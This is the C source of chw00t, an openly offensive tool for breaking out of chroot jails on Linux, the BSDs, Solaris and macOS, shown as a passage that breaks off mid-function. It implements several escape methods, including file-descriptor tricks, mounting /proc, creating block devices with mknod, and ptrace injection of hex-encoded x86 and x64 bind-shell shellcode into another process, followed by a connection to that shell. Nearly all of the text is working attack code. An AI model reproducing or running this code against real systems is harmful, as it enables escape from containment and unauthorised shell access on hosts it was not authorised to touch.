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chw00t.c
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chw00t.c
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/*
* ----------------------------------------------------------------------------
* "THE BEER-WARE LICENSE" (Revision 42):
* Balazs Bucsay wrote this file. As long as you retain this notice you
* can do whatever you want with this stuff. If we meet some day, and you think
* this stuff is worth it, you can buy me a beer in return. [email protected]
* (Lincense is stolen from Poul-Henning Kamp)
* ----------------------------------------------------------------------------
*/
#if __sun
// on Solaris: gcc chw00t.c -o chw00t -lsocket
#define _XOPEN_SOURCE 1
#define _XOPEN_SOURCE_EXTENDED 1
#define __EXTENSIONS__
#endif
#include <sys/types.h>
#if !__sun
#include <sys/ptrace.h>
#endif
#include <sys/wait.h>
#include <sys/un.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <dirent.h>
#include <getopt.h>
#include <fcntl.h>
#include <netdb.h>
#include <sys/user.h>
#if __linux__
#include <sys/mount.h>
#include <sys/sysmacros.h>
#endif
#if __OpenBSD__ || __DragonFly__
#include <machine/reg.h>
#endif
//FreeBSD
#ifndef PTRACE_ATTACH
#define PTRACE_ATTACH PT_ATTACH
#define PTRACE_DETACH PT_DETACH
#define PTRACE_GETREGS PT_GETREGS
#define PTRACE_POKEDATA PT_WRITE_D
#endif
#if __FreeBSD__ || __OpenBSD__ || __DragonFly__
#define X86_SHELLCODE_LEN 73
#define X86_SHELLCODE_PORT1 6
#define X86_SHELLCODE_PORT2 7
#define X86_SHELLCODE \
"\x31\xc0\x50\x68\xff\x02\x11\x5c\x89\xe7\x50\x6a\x01\x6a\x02" \
"\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x68\x58\xcd\x80\x89" \
"\x47\xec\xb0\x6a\xcd\x80\xb0\x1e\xcd\x80\x50\x50\x6a\x5a\x58" \
"\xcd\x80\xff\x4f\xe4\x79\xf6\x50\x68\x2f\x2f\x73\x68\x68\x2f" \
"\x62\x69\x6e\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"
#if __x86_64__
#define X64_SHELLCODE_LEN 93
#define X64_SHELLCODE_PORT1 19
#define X64_SHELLCODE_PORT2 20
#define X64_SHELLCODE \
"\x6a\x61\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52" \
"\x48\xba\x00\x02\x11\x5c\x00\x00\x00\x00\x52\x48\x89\xe6\x6a" \
"\x10\x5a\x04\x66\x0f\x05\x48\x31\xf6\x6a\x6a\x58\x0f\x05\x99" \
"\x04\x1e\x0f\x05\x48\x89\xc7\x6a\x5a\x58\x0f\x05\xff\xc6\x04" \
"\x5a\x0f\x05\xff\xc6\x04\x59\x0f\x05\x52\x48\xbf\x2f\x2f\x62" \
"\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x04" \
"\x39\x0f\x05"
#endif
#endif
//\FreeBSD
#if __linux__
#define X86_SHELLCODE_LEN 78
#define X86_SHELLCODE_PORT1 21
#define X86_SHELLCODE_PORT2 22
#define X86_SHELLCODE \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" \
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" \
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" \
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" \
"\x0b\xcd\x80"
#if __x86_64__
#define X64_SHELLCODE_LEN 86
#define X64_SHELLCODE_PORT1 20
#define X64_SHELLCODE_PORT2 21
#define X64_SHELLCODE \
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52" \
"\xc7\x04\x24\x02\x00\x11\x5c\x48\x89\xe6\x6a\x10\x5a\x6a\x31" \
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f" \
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75" \
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" \
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
#endif
#endif
#define MAX_DEPTH 255
#define BUFLEN 255*16
#define SHELLNUM 11
#define FSNUM 6
#if __linux__
#define SOCKETNAME "#anonsocket"
#else
#define SOCKETNAME "/anonsocket"
#endif
#ifndef OPEN_MAX
#define OPEN_MAX 255
#endif
#ifndef PID_MAX
#define PID_MAX 65535 // 2^16-1
#endif
// symlinks on shells could result in segfault on solaris
char *shells[] = {"/bin/bash", "/bin/sh", "/bin/dash", "/bin/ksh",
"/bin/csh", "/usr/bin/sh", "/usr/bin/bash",
"/bin/ksh", "/usr/bin/csh", "/usr/bin/dash",
"/usr/bin/zsh" };
#if !__OpenBSD__ && !__NetBSD__
int send_fd(int sock, const int fd)
{
struct {
struct cmsghdr h;
int fd;
} buffer;
struct msghdr msghdr;
char nothing = '!';
struct iovec nothing_ptr;
struct cmsghdr *cmsg;
nothing_ptr.iov_base = ¬hing;
nothing_ptr.iov_len = 1;
msghdr.msg_name = NULL;
msghdr.msg_namelen = 0;
msghdr.msg_iov = ¬hing_ptr;
msghdr.msg_iovlen = 1;
msghdr.msg_flags = 0;
msghdr.msg_control = &buffer;
msghdr.msg_controllen = sizeof(struct cmsghdr) + sizeof(int);
cmsg = CMSG_FIRSTHDR(&msghdr);
cmsg->cmsg_len = msghdr.msg_controllen;
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
*((int *)CMSG_DATA(cmsg)) = fd;
return(sendmsg(sock, &msghdr, 0) >= 0 ? 0 : -1);
}
int recv_fd(int sock, int *fd)
{
struct {
struct cmsghdr h;
int fd;
} buffer;
struct msghdr msghdr;
char nothing;
struct iovec nothing_ptr;
struct cmsghdr *cmsg;
nothing_ptr.iov_base = ¬hing;
nothing_ptr.iov_len = 1;
msghdr.msg_name = NULL;
msghdr.msg_namelen = 0;
msghdr.msg_iov = ¬hing_ptr;
msghdr.msg_iovlen = 1;
msghdr.msg_flags = 0;
msghdr.msg_control = &buffer;
msghdr.msg_controllen = sizeof(struct cmsghdr) + sizeof(int);
cmsg = CMSG_FIRSTHDR(&msghdr);
cmsg->cmsg_len = msghdr.msg_controllen;
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
// *((int *)CMSG_DATA(cmsg)) = -1;
if(recvmsg(sock, &msghdr, 0) < 0)
return(-1);
*fd = *((int *)CMSG_DATA(cmsg));
return 1;
}
#endif
#if !__sun
void putdata(pid_t child, long addr,
char *str, int len)
{ char *laddr;
int i, j;
union u {
long val;
char chars[sizeof(int)];
} data;
i = 0;
j = len / sizeof(int);
laddr = str;
while(i < j) {
memcpy(data.chars, laddr, sizeof(int));
ptrace(PTRACE_POKEDATA, child,
(void*)addr + i * sizeof(int), data.val);
++i;
laddr += sizeof(int);
}
j = len % sizeof(int);
if(j != 0) {
memcpy(data.chars, laddr, j);
ptrace(PTRACE_POKEDATA, child,
(void*)addr + i * sizeof(int), data.val);
}
}
#endif
void usage(char *tool)
{
#if !__NetBSD__
printf("Usage of chw00t - Unices chroot breaking tool:\n\n"
"[*] Methods:\n"
#if !__FreeBSD__ && !__OpenBSD__
" -0\tClassic\n"
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__
" -1\tClassic with saved file descriptor\n"
#endif
#if !__OpenBSD__
" -2\tUnix domain socket\n"
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && \
!__APPLE__
" -3\tMount /proc\n"
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && \
!__APPLE__ && !__sun
" -4\tMake block device (mknod)\n"
#endif
" -5\tMove out of chroot (nested)\n"
#if !__APPLE__ && !__sun && !__DragonFly__
" -6\tPtrace x32 for 32bit processes\n"
#if __x86_64__
" -7\tPtrace x64 for 64bit processes\n"
#endif
#endif
#if __linux__
" -9\tOpen filedescriptor (demo purposes)\n"
#endif
"\n"
"[*] Paramaters:\n"
" --pid PID\t\tPID to ptrace\n"
" --port PORT\t\tPort for listening (default: 4444)\n"
" --dir NAME\t\tChroot directory name\n"
" --nestdir NAME\tNested chroot directory name\n"
" --tempdir NAME\tNew temporary directory name\n\n"
"[*] Miscellaneous:\n"
" --help/-h\tThis help\n\n");
#else
printf("NetBSD is not supported at the moment\n");
#endif
}
int movetotheroot()
{
int i;
for (i = 0; i < MAX_DEPTH; i++)
{
if (chdir(".."))
return 0xDEADBEEF;
}
return 0;
}
#if !__FreeBSD__ && !__OpenBSD__ && !__NetBSD__
int classic(char *dir) {
int err, i;
struct stat dirstat;
if ((err = stat(dir, &dirstat)) == 0)
{
printf("[-] %s exists, please remove\n", dir);
return 0xDEADBEEF;
}
printf("[+] creating %s directory\n", dir);
if (mkdir(dir, 0700))
{
printf("[-] error creating %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] chrooting to %s\n", dir);
if (chroot(dir))
{
printf("[-] chroot failed to %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] change working directory to real root\n");
if (movetotheroot())
{
printf("[-] chdir failed to real root\n");
return 0xDEADBEEF;
}
printf("[+] chrooting to real root\n");
if (chroot("."))
{
printf("[-] chroot failed\n");
return 0xDEADBEEF;
}
for (i=0; i<SHELLNUM; i++)
{
if ((err = stat(shells[i], &dirstat)) == 0)
{
#if !__sun
return execve(shells[i], NULL, NULL);
#else
return execl(shells[i], NULL, NULL);
#endif
}
}
return 0;
}
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && !__NetBSD__
int classicfd(char *dir) {
int err, i;
struct stat dirstat;
DIR *dird;
if ((err = stat(dir, &dirstat)) == 0)
{
printf("[-] %s exists, please remove\n", dir);
return 0xDEADBEEF;
}
printf("[+] creating %s directory\n", dir);
if (mkdir(dir, 0700))
{
printf("[-] error creating %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] opening %s directory\n", dir);
if ((dird = opendir(".")) == NULL)
{
printf("[-] error opening %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] P: change working directory to: %s\n", dir);
if (chdir(dir))
{
printf("[-] P: cannot change directory\n");
return 0xDEADBEEF;
}
printf("[+] chrooting to %s\n", dir);
if (chroot("."))
{
printf("[-] chroot failed to %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] change back to the start directory\n");
if (fchdir(dirfd(dird)))
{
printf("[-] cannot change directory\n");
return 0xDEADBEEF;
}
printf("[+] change working directory to real root\n");
if (movetotheroot())
{
printf("[-] chdir failed to real root\n");
return 0xDEADBEEF;
}
printf("[+] chrooting to real root\n");
if (chroot("."))
{
printf("[-] chroot failed\n");
return 0xDEADBEEF;
}
for (i=0; i<SHELLNUM; i++)
{
if ((err = stat(shells[i], &dirstat)) == 0)
{
#if !__sun
return execve(shells[i], NULL, NULL);
#else
return execl(shells[i], NULL, NULL);
#endif
}
}
return 0;
}
#endif
#if !__OpenBSD__ && !__NetBSD__
int uds(char *dir)
{
int err, i, fd, fd2, socket_fd, connection_fd;
struct stat dirstat;
pid_t pid;
// no idea why, but without this ~16bytes, socket is not going to work
char solarisstackcorruption[16];
// omg.
DIR *dird;
struct sockaddr_un addr;
socklen_t addr_length;
if ((err = stat(dir, &dirstat)) == 0)
{
printf("[-] %s exists, please remove\n", dir);
return 0xDEADBEEF;
}
printf("[+] creating %s directory\n", dir);
if (mkdir(dir, 0700))
{
printf("[-] error creating %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] forking...\n");
pid = fork();
/* pid != 0 -> parent, create socket, opendir,
send fd to child thru unix domain socket
pid == 0 -> child, create socket, get fd from parent, breakout */
if (pid)
{
printf("[+] P: change working directory to: %s\n", dir);
if (chdir(dir))
{
printf("[-] P: cannot change directory\n");
return 0xDEADBEEF;
}
printf("[+] P: chrooting to %s\n", dir);
if (chroot("."))
{
printf("[-] P: chroot failed to %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] P: is sleeping for one second\n");
sleep(1);
printf("[+] P: creating socket\n");
if ((socket_fd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0)
{
printf("[-] P: error creating socket\n");
return 0xDEADBEEF;
}
memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
snprintf(addr.sun_path, sizeof(addr.sun_path), "%s", SOCKETNAME);
#if !__FreeBSD__ && !__DragonFly__ && !__APPLE__ && !__sun
// setting abstract named socket here, to be accessible from chroot
// could be standard uds as well, just putting it under the new chroot
addr.sun_path[0] = 0;
#endif
printf("[+] P: connecting socket\n");
if (connect(socket_fd, (struct sockaddr *)&addr,
sizeof(struct sockaddr_un)))
{
printf("[-] P: error connecting socket: %s\n", strerror(errno));
return 0xDEADBEEF;
}
printf("[+] P: receiving file descriptor thru unix domain socket\n");
if ((err = recv_fd(socket_fd, &fd)) < 0)
{
printf("[-] P: error receiving file descriptor: %d\n", err);
return 0xDEADBEEF;
}
printf("[+] P: duplicating file descriptor\n");
if ((fd2 = dup(fd)) == -1)
{
printf("[-] P: error duplicating fd\n");
return 0xDEADBEEF;
}
printf("[+] P: change back to the start directory\n");
if (fchdir(fd))
{
printf("[-] P: cannot change directory: %s\n", strerror(errno));
return 0xDEADBEEF;
}
printf("[+] P: change working directory to real root\n");
if (movetotheroot())
{
printf("[-] P: cannot change directory\n");
return 0xDEADBEEF;
}
printf("[+] P: chrooting to real root\n");
if (chroot(".") != 0)
{
printf("[-] P: chroot failed\n");
return 0xDEADBEEF;
}
printf("[+] P: closing socket\n");
close(socket_fd);
for (i=0; i<SHELLNUM; i++)
{
if ((err = stat(shells[i], &dirstat)) == 0)
{
#if !__sun
return execve(shells[i], NULL, NULL);
#else
return execl(shells[i], NULL, NULL);
#endif
}
}
return 0;
}
else
{
printf("[+] C: opening %s directory\n", dir);
if ((dird = opendir(".")) == NULL)
{
printf("[-] C: error opening %s\n", dir);
return 0xDEADBEEF;
}
printf("[+] C: creating socket\n");
if ((socket_fd = socket(PF_UNIX, SOCK_STREAM, 0)) < 0)
{
printf("[-] C: error creating socket\n");
return 0xDEADBEEF;
}
memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
#if !__FreeBSD__ && !__DragonFly__ && !__APPLE__ && !__sun
snprintf(addr.sun_path, sizeof(addr.sun_path), "%s", SOCKETNAME);
addr.sun_path[0] = 0;
#else
snprintf(addr.sun_path, sizeof(addr.sun_path), "%s/%s", dir, SOCKETNAME);
#endif
printf("[+] C: binding socket\n");
if(bind(socket_fd, (struct sockaddr *)&addr,
sizeof(struct sockaddr_un)) != 0)
{
printf("[-] C: error bind on socket: %s\n", strerror(errno));
return 0xDEADBEEF;
}
printf("[+] C: listening on socket\n");
if (listen(socket_fd, 5))
{
printf("[-] C: error listen on socket\n");
return 0xDEADBEEF;
}
printf("[+] C: waiting for connection\n");
if ((connection_fd = accept(socket_fd, (struct sockaddr *)&addr,
&addr_length)) == -1)
{
printf("[-] C: error accepting connection\n");
return 0xDEADBEEF;
}
printf("[+] C: sending %s's file descriptor thru unix "
"domain socket\n", dir);
if (send_fd(connection_fd, dirfd(dird)) == -1)
{
printf("[-] C: sending fd thru unix domain socket failed\n");
return 0xDEADBEEF;
}
sleep(1);
printf("[+] C: closing sockets\n");
close(connection_fd);
close(socket_fd);
printf("[+] C: exiting\n");
}
return 0;
}
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && \
!__APPLE__ && !__NetBSD__
int mountproc(char *dir)
{
int err, i;
pid_t pid;
struct stat ownstat, otherstat;
DIR *dird;
struct dirent *pdirent;
char *rootname; // "/proc/$pid$/root"
int return_code = 0xDEADBEEF;
#if __sun
char optbuf[0x400];
char slashdir[255];
#endif
pid = getpid();
if ((rootname = malloc(8+sizeof(unsigned long long)+strlen(dir))) == NULL)
{
printf("[-] Error allocating memory\n");
goto safe_exit;
}
memset(rootname, 0, 8+sizeof(unsigned long long)+strlen(dir));
sprintf(rootname, "/%s/%llu/root", dir, (unsigned long long)pid);
printf("[+] looking for /proc\n");
if ((err = stat(dir, &ownstat)) != 0)
{
printf("[+] %s is not created, creating one\n", dir);
if (mkdir(dir, 0555))
{
printf("[-] error creating %s\n", dir);
goto safe_exit;
}
}
if ((err = stat(rootname, &ownstat)) != 0)
{
printf("[+] %s is created, mounting procfs\n", dir);
#if __linux__
if (mount("proc", dir, "proc", 0, NULL))
#elif __sun
memset(optbuf, 0, 0x400);
memset(slashdir, 0, sizeof(slashdir));
snprintf(slashdir, sizeof(slashdir)-1, "/%s", dir);
if (mount("proc", slashdir, 0x100, "proc", NULL, NULL, optbuf, 0x400))
#endif
{
printf("[-] error mounting %s: %s\n", dir, strerror(errno));
goto safe_exit;
}
if ((err = stat(rootname, &ownstat)) != 0)
{
printf("[-] cannot find my own root: %s\n", strerror(errno));
goto safe_exit;
}
}
if ((dird = opendir(dir)) == NULL)
{
printf("[-] error opening %s: %s\n", dir, strerror(errno));
goto safe_exit;
}
while ((pdirent = readdir(dird)) != NULL)
{
if ((rootname = realloc(rootname,
8+strlen(dir)+strlen(pdirent->d_name))) == NULL)
{
printf("[-] Error reallocating memory\n");
goto safe_exit;
}
sprintf(rootname, "/%s/%s/root", dir, pdirent->d_name);
if ((strncmp(pdirent->d_name, ".", 1)) &&
((err = stat(rootname, &otherstat)) == 0))
{
if (otherstat.st_ino != ownstat.st_ino)
{
if ((dird = opendir(rootname)) != NULL)
break;
}
}
}
printf("[+] change back to the start directory\n");
if (fchdir(dirfd(dird)))
{
printf("[-] cannot change directory\n");
goto safe_exit;
}
printf("[+] chrooting to real root\n");
if (chroot("."))
{
printf("[-] chroot failed\n");
goto safe_exit;
}
for (i=0; i<SHELLNUM; i++)
{
if ((err = stat(shells[i], &ownstat)) == 0)
{
#if !__sun
return_code = execve(shells[i], NULL, NULL);
#else
return_code = execl(shells[i], NULL, NULL);
#endif
goto safe_exit;
}
}
return_code = 0;
safe_exit:
if (rootname) free(rootname);
return return_code;
}
#endif
#if !__FreeBSD__ && !__OpenBSD__ && !__DragonFly__ && \
!__APPLE__ && !__sun && !__NetBSD__
int makeblockdevice(char *devdir, char *mountdir)
{
int err, i, j, h;
struct stat dirstat;
char *shellname = NULL, *devname = NULL;
char *filesystems[] = {"ext4", "ext3", "ext2", "zfs",
"ufs", "ufs2" };
printf("[+] looking for %s\n", devdir);
if ((err = stat(devdir, &dirstat)) != 0)
{
printf("[+] %s is not created, creating one\n", devdir);
if (mkdir(devdir, 0555))
{
printf("[-] error creating %s\n", devdir);
return 0xDEADBEEF;
}
}
printf("[+] looking for %s\n", mountdir);
if ((err = stat(mountdir, &dirstat)) != 0)
{
printf("[+] %s is not created, creating one\n", mountdir);
if (mkdir(mountdir, 0555))
{
printf("[-] error creating %s\n", mountdir);
return 0xDEADBEEF;
}
}
if ((devname = malloc(strlen(devdir)+9)) == NULL)
{
printf("[-] error allocating memory\n");
return 0xDEADBEEF;
}
sprintf(devname, "/%s/chw00t", devdir);
// crawling for hda, hda, hdc - 3 block
for (i=0; i<196; i++)
{
if (mknod(devname, S_IFBLK, makedev(3, i)) != 0)
{
printf("[-] error creating block device: %s\n", strerror(errno));
}
for (j=0;j<FSNUM;j++)
{
if (!mount(devname, mountdir, filesystems[j], 0, NULL))
{
for (h=0; h<SHELLNUM; h++)
{
if ((shellname = realloc(shellname, strlen(mountdir)+
strlen(shells[h])+1)) == NULL)
{
printf("[-] error reallocating memory\n");
return 0xDEADBEEF;
}
memset(shellname, 0, strlen(mountdir)+strlen(shells[h])+1);
sprintf(shellname, "%s%s", mountdir, shells[h]);
if (!stat(shellname, &dirstat))
{
if (!chdir(mountdir) && !chroot("."))
{
free(shellname);
return execve(shells[h], NULL, NULL);
}
}
}
umount(mountdir);
}
}
unlink(devname);
}
// crawling for sd[a-p] - 8 block
for (i=0; i<256; i++)
{
if (mknod(devname, S_IFBLK, makedev(8, i)) != 0)
{
printf("[-] error creating block device: %s\n", strerror(errno));
}
for (j=0;j<FSNUM;j++)
{
if (!mount(devname, mountdir, filesystems[j], 0, NULL))
{
for (h=0; h<SHELLNUM; h++)
{
if ((shellname = realloc(shellname, strlen(mountdir)+
strlen(shells[h])+1)) == NULL)
{
printf("[-] error reallocating memory\n");
return 0xDEADBEEF;
}
memset(shellname, 0, strlen(mountdir)+strlen(shells[h])+1);
sprintf(shellname, "%s%s", mountdir, shells[h]);
if (!stat(shellname, &dirstat))
{
if (!chdir(mountdir) && !chroot("."))
{
free(shellname);
return execve(shells[h], NULL, NULL);
}
}
}
umount(mountdir);
}
}
unlink(devname);
}
return 0;
}
#endif
#if !__APPLE__ && !__sun && !__NetBSD__
int ptracepid(unsigned long long pid, int x64, unsigned int port)
{
pid_t traced_process;
#if __linux__
struct user_regs_struct regs;
#else
struct reg regs;
#endif
int socketfd, nready;
struct sockaddr_in serv_addr;
struct timeval ts;
fd_set fds;
unsigned char buf[BUFLEN+1];
int rv, one = 1;
int len_x86 = X86_SHELLCODE_LEN;
char shellcode_x86[] = X86_SHELLCODE;
#if __x86_64__
int len_x64 = X64_SHELLCODE_LEN;
char shellcode_x64[] = X64_SHELLCODE;
#endif
if (port)
{
#if __x86_64__
if (x64)
{
shellcode_x64[X64_SHELLCODE_PORT1] = (port >> 8) & 0xFF;
shellcode_x64[X64_SHELLCODE_PORT2] = port & 0xFF;
}
#endif
shellcode_x86[X86_SHELLCODE_PORT1] = (port >> 8) & 0xFF;
shellcode_x86[X86_SHELLCODE_PORT2] = port & 0xFF;
}
else port = 4444;
if (!pid)
{
// looking for a process, starting from our PID
for (pid=getppid()-2;pid>2;pid--)
{
if (!kill(pid, 0))
{
printf("[+] Found pid: %llu\n", pid);
printf("[+] PTRACE: attach process: %llu\n", pid);
traced_process = pid;
if (ptrace(PTRACE_ATTACH, traced_process, 0, 0))
{
printf("[-] error attaching process\n");
continue;
}
break;
}
}
}
else
{
printf("[+] PTRACE: attach process: %llu\n", pid);
traced_process = pid;
if (ptrace(PTRACE_ATTACH, traced_process, 0, 0))
{
printf("[-] error attaching process\n");
return 0xDEADBEEF;
}
}
wait(NULL);
#if __linux__
if (ptrace(PTRACE_GETREGS, traced_process, NULL, ®s))
#else
if (ptrace(PTRACE_GETREGS, traced_process, (void*)®s, 0))
#endif
{
printf("[-] error getting registers\n");
return 0xDEADBEEF;
}
printf("[+] PTRACE: overwrite original bytecode\n");
#if __x86_64__
if (x64)
{
#if __linux__
putdata(traced_process, regs.rip,
#else
putdata(traced_process, regs.r_rip,
#endif
shellcode_x64, len_x64);
}
else
{
#if __linux__
putdata(traced_process, regs.rip,
#else
putdata(traced_process, regs.r_rip,
#endif
shellcode_x86, len_x86);
}
#else
#if __linux__
putdata(traced_process, regs.eip,
#else
putdata(traced_process, regs.r_eip,
#endif
shellcode_x86, len_x86);
#endif
printf("[+] PTRACE: detach and sleep\n");
if (ptrace(PTRACE_DETACH, traced_process, 0, 0))
{
printf("[-] error detaching process\n");
return 0xDEADBEEF;
}
printf("[+] connecting to bindshell\n");
sleep(1);
if ((socketfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("[-] error@socket\n");
return 0xDEADBEEF;
}
#if __linux__
// cannot be statically linked because of glibc reasons...
setsockopt(socketfd, SOL_TCP, TCP_NODELAY, &one, sizeof(one));
#else
setsockopt(socketfd, 6, TCP_NODELAY, &one, sizeof(one));
#endif
memset(&serv_addr, 0, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
serv_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(socketfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) <0)
{
printf("[-] error@connect: %s\n", strerror(errno));
return 0xDEADBEEF;
}
printf("[+] Connected!\n");
ts.tv_sec = 1; // 1 second
ts.tv_usec = 0;
while (1) {
FD_ZERO(&fds);
if (socketfd != 0)
FD_SET(socketfd, &fds);
FD_SET(0, &fds);
nready = select(socketfd + 1, &fds, (fd_set *) 0, (fd_set *) 0, &ts);
if (nready < 0) {
perror("select. Error");
return 1;
}
else if (nready == 0) {
ts.tv_sec = 1; // 1 second
ts.tv_usec = 0;
}
else if (socketfd != 0 && FD_ISSET(socketfd, &fds))
{
// start by reading a single byte
memset(buf, 0, BUFLEN);